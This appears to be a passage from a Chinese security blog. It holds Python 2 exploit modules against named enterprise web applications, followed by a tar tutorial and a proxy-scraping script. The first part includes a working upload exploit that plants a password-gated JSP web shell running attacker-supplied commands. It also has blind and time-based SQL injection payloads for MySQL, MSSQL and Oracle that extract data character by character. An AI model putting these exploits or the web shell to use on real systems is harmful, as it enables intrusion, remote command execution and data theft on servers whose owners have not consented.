                    "Accept-Encoding": "gzip, deflate",
                    "Cookie": "JSESSIONID=ZFqdWFRbzylkhqQYpQCySQMVfnp9sKLVCv2j4k4kQvcY7kHZlFQy!-235610040"}
        rand_num = random.randint(10000,99999)
        file_name = "0day5test"+bytes(rand_num)+".jsp"
        exp_url = ("{domain}/defaultroot/dragpage/upload.jsp".format(domain=self.option.url))
        files="------WebKitFormBoundaryWeQFHZnK6c6SAk9Q\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\""+file_name+"\x00.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<%\r\n    if(\"023\".equals(request.getParameter(\"pwd\"))){\r\n        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream();\r\n        int a = -1;\r\n        byte[] b = new byte[2048];\r\n        out.print(\"<pre>\");\r\n        while((a=in.read(b))!=-1){\r\n            out.println(new String(b));\r\n        }\r\n        out.print(\"</pre>\");\r\n    }\r\n%>0day5\r\n------WebKitFormBoundaryWeQFHZnK6c6SAk9Q--\r\n"
        #截断使用 \x00
        try:
            response = requests.post(exp_url, data=files, headers=header,timeout=15, verify=False)
            #print response.content
        except Exception, e:
            self.result.error = str(e)
            return
        arg = ("{domain}/defaultroot/upload/customdesktop/".format(domain=self.option.url))
        url2 = arg + file_name
        requests1 = requests.get(url2)
        if "0day5" in requests1.content:
            self.result.status = True
            self.result.description = "目标存在任意文件上传, shell地址"+url2.format(
            url=self.option.url,
        )

盲注,盲注需要出数据的

1.mysql 延时注入

    def verify(self):
        uri = "/Customize/Audit/MessageMonitor/mutilSearch.php?id=1;"
        url = self.option.url.rstrip('/') + uri
        timeout = 3
        delay_sql = "(SELECT * FROM (SELECT(SLEEP({timeout})))CNfW)%23"
        delay_url = url + delay_sql

        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 48
        #;(SELECT * FROM (SELECT(SLEEP(5-(IF([INFERENCE],0,5)))))123)#
        db_version_len_payload =  "(SELECT * FROM (SELECT(SLEEP(3-(IF((select LENGTH(VERSION()))>{value},0,3)))))a)%23" 
        db_version_len_url = url + db_version_len_payload

        db_version_info_payload = "(SELECT * FROM (SELECT(SLEEP(3-(IF( ASCII( (SELECT SUBSTR(version(),{index},1) FROM (SELECT 1)x LIMIT 0,1) )>{value},0,3)))))a)%23"
        db_version_info_url = url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        try:
            url = delay_url.format(timeout=timeout)
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        end = time.time()
        delay = end - start             # 时间延时阀值
        self.print_debug("delay = {0}".format(delay))
        if (end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 100
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m)
            self.print_debug("url = {0}".format(url))
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            self.print_debug("time = {0}".format(end-start))
            if (end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m)
                self.print_debug("url = {0}".format(url))
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                self.print_debug("delay = {0}".format(end-start))
                if (end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

mysql 盲注

    def verify(self):
        uri = "/Accountcenter/accountmiddle"
        url = self.option.url.rstrip('/') + uri
        form    = "phone=1"
        headers = {
             "Content-Type": "application/x-www-form-urlencoded",
        }
        payload_0 = "' RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_0 = form + payload_0
        payload_1 = "' RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        exp_url_1 = form + payload_1
     
        MAX_DB_VERSION_LEN      = 48
        db_version_len_payload  = "'RLIKE (SELECT (CASE WHEN ((select LENGTH((concat(user(),0x3a,version(),0x3a,database()))))>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_len_form     = form + db_version_len_payload
        db_version_info_payload = "'RLIKE (SELECT (CASE WHEN (ASCII( (SELECT SUBSTR((concat(user(),0x3a,version(),0x3a,database())),{index},1)) )>{value}) THEN 1 ELSE 0x28 END)) AND 'nUju'='nUju"
        db_version_info_form    = form + db_version_info_payload
     
        # 1.测试SQL盲注
        content_len_checker = 0
        try:
            response0 = requests.post(url, data=form, headers=headers, timeout=60, verify=False)
            response1 = requests.post(url, data=exp_url_0, headers=headers, timeout=60, verify=False)
            response2 = requests.post(url, data=exp_url_1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_0
        self.print_debug("content_len_checker = {0}".format(content_len_checker))
        # 2.获取数据库版本信息长度(二分法)
        # 2.获取数据库版本信息长度(二分法)
        db_version_len = 0
        l = 0
        r = 50
        while l <= r:
            m = (l+r)/2
            version_len = db_version_len_form.format(value=m)
            try:
                response = requests.post(url, data=version_len, headers=headers, timeout=60, verify=False)
                #self.print_debug("{payload}  {len}".format(payload=version_len,len=len(response.content)))
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        # 3.获取数据库版本信息(二分法)
        db_version = ''
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                version_info = db_version_info_form.format(index=i, value=m)
                try:
                    response = requests.post(url, data=version_info, headers=headers, timeout=60, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r and l<=256:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version_len<=0 or len(db_version)<=0:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

2.mssql 盲注

    def verify(self):
        uri = "/c6/Jhsoft.Web.login/NewView.aspx?ID=12"
        url = "{domain}{uri}".format(domain=self.option.url.rstrip('/'), uri = uri)
        # 设置注入获取的数据库版本信息的最大长度
        MAX_DB_VERSION_LEN = 25
        db_version_len_payload = " AND 1=2 OR (len((select @@VERSION)))>{value} AND 1=1--"
        db_version_len_url = (url + db_version_len_payload).replace(" ", "/**/")
        db_version_info_payload = " AND 1=2 OR (ascii(substring(@@version,{index},1)))>{value} AND 1=1--"
        db_version_info_url = (url + db_version_info_payload).replace(" ", "/**/")
        # 测试盲注的payload
        payload_0 = " AND 1=2 OR 1=2 AND 1=1--"
        exp_url_0 = (url + payload_0).replace(" ", "/**/")
        payload_1 = " AND 1=2 OR 1=1 AND 1=1--"
        exp_url_1 = (url + payload_1).replace(" ", "/**/")
        # 1.测试MSSQ盲注
        content_len_checker = 0
        try:
            response = requests.get(url=url, timeout=15, verify=False)
            response_0 = requests.get(url=exp_url_0, timeout=15, verify=False)
            response_1 = requests.get(url=exp_url_1, timeout=15, verify=False)
            content_len = len(response.content)
            content_len_0 = len(response_0.content)
            content_len_1 = len(response_1.content)
            if (content_len_0 == content_len_1) or \
               ((content_len <= content_len_0) and (content_len >= content_len_1)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error = str(e)
            self.result.status = False
            return

        content_len_checker  = content_len_1

        # 2.获取数据库版本信息长度
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            url = db_version_len_url.format(value=m)
            try:
                response = requests.get(url=url, timeout=15, verify=False)
                if len(response.content)<content_len_checker:
                    r = m - 1
                else:
                    l = m + 1
            except Exception, e:
                pass
        if l >= r:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))

        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version=''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                url = db_version_info_url.format(index=i, value=m)
                try:
                    response = requests.get(url=url, timeout=15, verify=False)
                    if len(response.content)<content_len_checker:
                        r = m - 1
                    else:
                        l = m + 1
                except Exception, e:
                    pass
            if l >= r:
                if l>0 and l<256:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro')==-1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

MSSQL 延时注入


        url = "{domain}/kingdee/login/addmsg.jsp?receiveid=all&user_id=1".format(domain=self.option.url.rstrip('/'))

        timeout = 4
        payload = ";waitfor delay '0:0:{timeout}'--"
        exp_url = url + payload

        MAX_DB_VERSION_LEN      = 26
        db_version_len_payload  = ";if(len((select @@VERSION)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_len_url      = url + db_version_len_payload
        db_version_info_payload = ";if(ascii(substring(@@version,{index},1)))>{value} waitfor delay '0:0:{timeout}'--"
        db_version_info_url     =  url + db_version_info_payload

        # 1.测试SQL延迟注入
        start = time.time()
        url = exp_url.format(timeout=timeout)
        try:
            response = requests.get(url=url, timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        if int(end-start)<timeout:
            self.result.status = False
            return

        # 2.获取数据库版本信息长度
        db_version_len = 0
        l = 0
        r = 500
        while l <= r:
            m = (l+r)/2
            start = time.time()
            url = db_version_len_url.format(value=m, timeout=timeout)
            self.print_debug(url)
            try:
                response = requests.get(url=url, timeout=60, verify=False)
            except Exception, e:
                pass
            end = time.time()
            if int(end-start)<timeout:
                r = m - 1
            else:
                l = m + 1
        if l >= r and l<=500:
            db_version_len = l
        else:
            db_version_len = 0
        self.print_debug("db_version_len = {0}".format(db_version_len))
        
        # 3.获取数据库版本信息
        if db_version_len > MAX_DB_VERSION_LEN:
            db_version_len = MAX_DB_VERSION_LEN
        db_version = ''
        for i in xrange(1,db_version_len+1,1):
            l = 0
            r = 256
            while l <= r:
                m = (l+r)/2
                start = time.time()
                url = db_version_info_url.format(index=i, value=m, timeout=timeout)
                self.print_debug(url)
                try:
                    response = requests.get(url=url, timeout=60, verify=False)
                except Exception, e:
                    pass
                end = time.time()
                if int(end-start)<timeout:
                    r = m - 1
                else:
                    l = m + 1
            if l >= r and l<=256:
                if l>=32 and l<=126:
                    db_version += chr(l)
                else:
                    db_version += '?'
            else:
                pass
            self.print_debug("db_version = {0}".format(db_version))

        if db_version.find('Micro') == -1:
            self.result.status = False
            return
        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}".format(
            url=self.option.url,
            db_version=db_version
        )

oracle 盲注[没有找到合适的测量数据库长度的,采取暴力注入]

    def verify(self):
        exp_url = "{domain}/login/../weaver/weaver.docs.docs.ShowDocsImageServlet?docId=10000".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'multipart/form-data',
                   'Referer': exp_url
                   }
        payload0 = " AND 6925=6925"
        payload1 = " AND 6925=6926"
        db_verpay = " AND ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}"
        # 1.测试SQL延迟注入
        content_len_checker = 0
        try:
            response0 = requests.get(exp_url, headers=headers, timeout=60, verify=False)
            response1 = requests.get(exp_url+payload0, headers=headers, timeout=60, verify=False)
            response2 = requests.get(exp_url+payload1, headers=headers, timeout=60, verify=False)
            content_len = len(response0.content)
            content_len_0 = len(response1.content)
            content_len_1 = len(response2.content)
            self.print_debug("normal "+str(content_len))
            self.print_debug("AND 1=1 "+str(content_len_0))
            self.print_debug("AND 1=2 "+str(content_len_1))
            if (content_len_0 == content_len_1) or ((content_len_0 <= content_len) and (content_len_1 >= content_len_0)):
                self.result.status = False
                return
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        content_len_checker  = content_len_1
        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                db_date = db_verpay.format(index=i,value=ord(payload))
                try:
                    response = requests.get(exp_url+db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                if len(response.content)>content_len_checker:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

oracle 基于时间盲注[长度测量不生效,直接暴力注入]

    def oracle(self):
        exp_url = "{domain}/defaultroot/evo/ipad/loading.jsp".format(domain=self.option.url.rstrip('/'))
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8',
                   'Cookie': 'JSESSIONID=p5FhWpJF621JvJs1pmyMG4PGDyjJK5Y1BwmqsVfyWmH1p4y18fJX!-225297091',
                   'Referer': exp_url
                   }
        timeout = 3
        payload = "' AND 123=DBMS_PIPE.RECEIVE_MESSAGE(CHR(101)||CHR(114)||CHR(101)||CHR(98),{timeout}) AND 'EDGD'='EDGD"
        data = "userPassword=CasterJs&isRemember=CasterJs&userName=CasterJs"
        date = data + payload
        db_verpay = "' AND 123=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(banner AS VARCHAR(4000)),CHR(32)) FROM sys.v_$version WHERE rownum=1),{index},1))={value}) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(101)||CHR(90)||CHR(76),{timeout}) ELSE 123 END) AND 'FHVS'='FHVS"
        db_data = data + db_verpay
        # 1.测试SQL延迟注入
        start = time.time()
        date = date.format(timeout=timeout)
        #self.print_debug(date)
        try:
            response = requests.post(exp_url,data=date,headers=headers ,timeout=60, verify=False)
        except Exception, e:
            self.result.error  = str(e)
            self.result.status = False
            return
        end = time.time()
        self.print_debug("time = {0}".format(end-start))
        if int(end-start)<timeout:
            self.result.status = False
            return

        #暴力取值
        db_version = ''
        payloads = ['.', ' ', '-','@','_']
        payloads += list(string.ascii_lowercase)
        payloads += list(string.ascii_uppercase)
        for i in range(0,10):
            payloads.append(str(i))
        #self.print_debug(payloads)
        for i in range(1,65,1):
            for payload in payloads:
                start = time.time()
                db_date = db_data.format(index=i,value=ord(payload),timeout=timeout)
                try:
                    response = requests.post(exp_url,data=db_date,headers=headers ,timeout=60, verify=False)
                except Exception, e:
                    self.result.error  = str(e)
                    self.result.status = False
                    return
                end = time.time()
                if int(end-start)>timeout or int(end-start)==timeout:
                    db_version += payload
                    self.print_debug(db_version)

        if db_version.find('Oracle') == -1:
            self.result.status = False
            return

        # 4.记录数据库版本信息
        self.result.status = True
        self.result.data.db_info.version = db_version
        self.result.description = "目标 {url} 存在sql注入, 目标使用数据库版本为: {db_version}\n\t测试地址为{exp_url},POST提交{data}".format(
            url=self.option.url,
            db_version=db_version,
            exp_url = exp_url,
            data = date,
        )

 

linux tar压缩排除某个文件夹或者某种类型

发布时间:May 19, 2015 // 分类:工作日志,代码学习,linux,转帖文章 // No Comments

一般直接用tar命令打包很简单,直接使用 tar -zcvf test.tar.gz test 即可。

在很多时候,我们要对某一个目录打包,而这个目录下有几十个子目录和子文件,我们需要在打包的时候排除其中1、2个目录或文件。

这时候我们在用tar命令打包的时候,增加参数 --exclude 就能达到目的。

例如:

我们以tomcat 为例,打包的时候我们要排除 tomcat/logs 目录,命令如下:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs tomcat

如果要排除多个目录,增加 --exclude 即可,如下命令排除logs和libs两个目录及文件xiaoshan.txt:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs --exclude=tomcat/xiaoshan.txt tomcat

这里要说一下注意事项:

大家都知道linux在使用tab键的时候会对目录名称自动补全,这很方便,大家也比较常用。

如我们输入 tomcat/lo 的时候按tab键,命令行会自动生成 tomcat/logs/ ,对于目录,最后会多一个 “/”

这里大家要注意的时候,在我们使用tar 的--exclude 命令排除打包的时候,不能加“/”,否则还是会把logs目录以及其下的文件打包进去。

错误写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs/ --exclude=tomcat/libs/ tomcat

正确写法:

tar -zcvf tomcat.tar.gz --exclude=tomcat/logs --exclude=tomcat/libs tomcat

也可以排除指定的文件类型

tar -cvf test.tgz test/ --exclude *.jpg

这样,就会把jpg后缀的文件都排除了,包括子目录!如果是多个后缀类型需要被排除可以在后面添加,无限制

tar -cvf test.tgz test/ --exclude *.txt --exclude *.jpg

以上是匹配排除某个文件类型后缀,也可以直接指定文件名

tar -cvf test.tgz test/ --exclude a.txt

或者指定目录,也可以排除目录与文件一起混合使用

tar -cvf test.tgz test/ --exclude dir1 --exclude a.log --exclude *.jpg

 

py抓取并验证可用代理脚本

发布时间:May 18, 2015 // 分类:工作日志,代码学习,python // No Comments

抓取的是kjson.com的代理,代理的质量一般般。

#/usr/bin/python
#coding:utf8
import urllib2
from optparse import OptionParser
import sys,time,random,re
from pyquery import PyQuery as jq

def proxy_craw(target,output):
    w = open(output,'a')
    data = urllib2.urlopen('http://www.kjson.com/proxy/index/' + str(target)).read()
    c = jq(data)
    for tr in c('.proxy-table').find('.plist'):
        data_id = jq(tr).find('a').attr('data-id')
        if checkproxy(data_id):
                wr = jq(tr).find('td').eq(0).text() + u"\t"
                print wr
                port = jq(tr).find('.enport').text()
                wr += str(decodes(port)) + "\t"
                wr += jq(tr).find('td').eq(2).text() + "\t"
                wr += jq(tr).find('td').eq(6).text() + "\r\n"
                w.write(wr.encode('utf-8'))
        else:
                continue
    w.close()

def checkproxy(dataid):
        m = random.randint(1,999999)
        data = urllib2.urlopen('http://www.kjson.com//proxy/vproxy/?rnd=' + str(m) + '&id=' + dataid).read()
        res = re.findall(r'(\w*[0-9]+)\w*',data)
        if res[0] == '1':
                return True
        else:
                return False

def decodes(code):
    str1 = 'ABCDEFGHIG'
    a = code
    c = []
    p = 0
    l = len(a)
    for i in a:
        c.append(str1.index(i))
    t = ''
    for i in c:
        t += str(i)
    p = int(t)
    return  int(p) >> 2

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-o","--output",dest="filename",
                      help="Export File name",metavar="FILE")
    (opts,args) = parser.parse_args()
    filename = opts.filename
    p = jq(url='http://www.kjson.com/proxy/index/1')
    endstr = p('.page a').eq(11).attr('href') #獲取尾頁
    end = int(endstr[13:])
    for PageNum in range(1,end + 1):
        if PageNum/40 == 0:
            time.sleep(3)
        try:
            proxy_craw(PageNum,filename)
        except KeyboardInterrupt:
            exit()

使用办法

python kjson.com_proxy_crawer.py -o out.txt

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...